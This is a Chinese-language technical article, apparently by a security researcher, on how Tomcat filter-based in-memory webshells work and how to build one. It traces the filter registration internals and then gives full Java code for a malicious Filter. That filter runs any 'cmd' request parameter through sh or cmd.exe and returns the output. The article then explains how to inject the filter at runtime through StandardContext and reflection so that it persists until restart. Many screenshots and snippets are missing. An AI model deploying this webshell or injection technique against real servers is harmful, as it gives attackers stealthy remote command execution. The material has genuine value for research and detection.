1. 何谓内存马?
以Tomcat为例,内存马主要利用了Tomcat的部分组件会在内存中长期驻留的特性,只要将我们的恶意组件注入其中,就可以一直生效,直到容器重启。
Java内存shell有很多种,大致分为:
1. 动态注册filter
2. 动态注册servlet
3. 动态注册listener
4. 基于Java agent拦截修改关键类字节码实现内存shell
该文主要研究Filter内存马的原理和实现。
2. Filter注册流程
假设有一个需要注册的filter类——FilterDemo:
其中在web.xml 配置好该filter的映射和作用范围:
也可以通过 @WebFilter 修饰:
filter实现分为静态和动态,静态就是上述中,普通配置在web.xml或者通过@注释配置在类中的;动态下面会说到。无论静态还是动态的,都是通过解析StandardContext中的缓存构造ApplicationFilterConfig,进而生成当前应用请求链路的ApplicationFilterChain,并根据filter的顺序,一个filter一个filter的执行的。
2.1 请求过滤需要的Filter接口
Debug filterChain.doFilter() 方法,启动服务,然后访问主页即可调试:
跟进之,可以看到 doFilter() 的具体处理过程是在 internalDoFilter() 中:
注意,Filter 链中的各个 Filter 的拦截顺序与它们在 web.xml 文件中的映射顺序一致。
总的来说,上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法;最后一个 Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法。
只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行。
2.2 应用启动需要的接口
主要有三个类:
1. ApplicationFilterConfig
2. FilterDef
3. FilterMap
2.3 启动前的加载过程
主要涉及到三个类:
1. ServletContext
2. ApplicationContext
3. StandardContext
值得一提的是,在Servlet3.0版本以后,servlet和filter,甚至Listener都可以进行动态的创建,具体可以在ServletContext接口中可以简单看到:
ServletContext 接口中声明 添加filter接口 用来将filter添加到应用上下文。
ApplicationContext 类是 ServletContext 的实现类,实现了 ServletContext 中的 addFilter 方法,用于向属性中的StandandContext实例添加filterDef:
StandandContext类中filter关键的3个属性和2个方法:
1. filterMaps
2. filterDefs
3. filterConfigs
4. addFilterDef(填充filterDef对象)
5. filterStart(根据filterDefs初始化 filterConfigs )
查找 FilterDef:
添加FilterDef:
filterStart()中先清空了 filterConfigs的状态:
然后会将新的filterConfig添加到filterConfigs中:
类ApplicationFilterConfig是依赖FilterDef生成的,所以也可以等价理解为:根据 FilterDefs来初始化 filterConfigs
2.4 请求到达时的处理流程
处理请求时,到达 StandardWrapperValve 类的 invoke 函数中:
重点在于创建了filterChain来处理匹配到的filter请求,这里每个请求都会创建一个 filterChain,并不是所有请求共用的一个:
请求处理完成后 要释放掉filterChain:
具体看看 filterChain 实例是怎么创建的:
ApplicationFilterChain filterChain = ApplicationFilterFactory.createFilterChain(request, wrapper, servlet);
查看当前是否存在 filterChain,有则复用;无则new一个。然后初始化配置:
然后从 context 上下文中获取到 FilterMaps:
接下来做两点操作:
1)从filterMap中寻找匹配路径的filter添加到链中:
2.)从filterMap中寻找filter的servlet名添加到链中:
总的来说,从StandandContext中获取filterMap;再从filterMap中找到和request对象能匹配到的filter-name;最后从StandandContext中通过filter-name找到filter-config实例。
最后通过 StandardWrapperValve#filterChain.doFilter() 来获取filter执行:
3. 注册流程总结
- context启动时,调用ServletContainerInitializers添加filter,调用AbstractFilterRegistrationBean类的addRegistration方法向context添加filter
- context中不存在FilterDef则创建对应FilterDef
- AbstractFilterRegistrationBean中configure方法添加匹配filter的uri,默认为/*
- context启动时,调用filterStart方法配置初始化ApplicationFilterConfig
- 调用filter的init方法
- 对每次到达的请求在StandardWrapperVavel的invoke方法中创建过滤器链
- 根据名称获得ApplicationFilterConfig添加到过滤器链,通过ApplicationFilterConfig来获取filter执行
(by 宽字节安全)
4. 实现
简单以小马为例:
4.1 编写Filter恶意类
public class FilterDemo implements Filter {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter初始化");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("进行过滤操作");
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
/*
* -->放行<--
* Filter 链中的各个 Filter 的拦截顺序与它们在 web.xml 文件中的映射顺序一致,
* 上一个 Filter.doFilter() 方法中调用 FilterChain.doFilter() 方法将调用下一个 Filter.doFilter() 方法
* 最后一个 Filter.doFilter() 方法中调用的 FilterChain.doFilter() 方法将调用目标 Servlet.service() 方法
* 只要 Filter 链中任意一个 Filter 没有调用 FilterChain.doFilter() 方法,则目标 Servlet.service() 方法都不会被执行
*/
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
System.out.println("销毁操作");
}
}
4.2 获取StandardContext
这个老生常谈了,这里放一个获取StandardContext的方法:
4.3 添加FilterDef
有了恶意类FilterDemo和StandardContext后,参照tomcat源代码来实现注册自定义filter的操作。FilterDef就相当于web.xml中的filter:
Tomcat 在 org.apache.catalina.core.ApplicationContextFacade 当中实现了 ServletContext 中的 addFilter 和 addServlet ,这里我们分别看看,这里主要看 addFilter 的实现:
跟进this.context.addFilter函数,发现addFilter的实现实际是在 ApplicationContext#addFilter 当中;当然,也可以动态调试——搞清楚在什么时候 addFilter (添加Filter),就在 ApplicationContext#addFilter 中下断点,然后Debug启动tomcat8服务:
在addFilter中,代码的作用实际就是新建一个 filterDef 然后调用this.context.addFilterDef(filterDef); 进行添加了而已。此外,我们有了StandardContext,完全可以自行进行添加:
4.4 添加FilterMap
FilterMap用于保存filter名称与url的映射,就相当于web.xml中的filter-mapping:
我们知道,tomcat的filter的创建是在StandardWrapperValve#invoke() 函数中完成的:
通过 createFilterChain 创建一个ApplicationFilterChain:
在 createFilterChain() 中会将匹配到的filter加入filterChain:
注意这里进行if匹配的时候,DispatcherType类型是 REQUEST:
由于我们上面构造好了 FilterDef,接下来直接构造一个FilterMap,再加入 filterChain就好了:(其中urlPattern自行定义好,只有匹配到才会进行filter处理,可以类似理解为一个webshell后门密码的操作)
这里为啥要用 addFilterMapBefore() 而不用 addFilterMap() 呢?
从之前的 createFilterChain() 中添加Filter可以看出是按从头到尾的顺序来添加的:
所以 addFilterMapBefore() 的作用是将当前创建的 filterMap 添加到 filter链的第一位去。
4.5 添加到 filterConfigs
跟进到最开始的StandardContext#filterStart 方法可以看到,遍历了 filterDefs 当中 filterName :
然后把对应的 name 添加到 filterConfigs 当中:
值得注意的是,源代码中是通过 ApplicationFilterConfig (Context context, FilterDef filterDef) 的构造器来获取到filterConfig的:
说明这个类是依赖FilterDef生成的。
同时,继承自 FilterConfig,那么在jsp中,我们可以通过反射 ApplicationFilterConfig的构造器来获取到 filterConfig 对象,然后添加到 filterConfigs 中:
为了适配其他tomcat环境,这里通过反射来获取 filterConfigs:
或者直接刷新 filterConfigs,自动将filterConfig 添加到 filterConfigs 中:
4.6 效果
原始:
访问生成内存马的jsp:
访问内存马: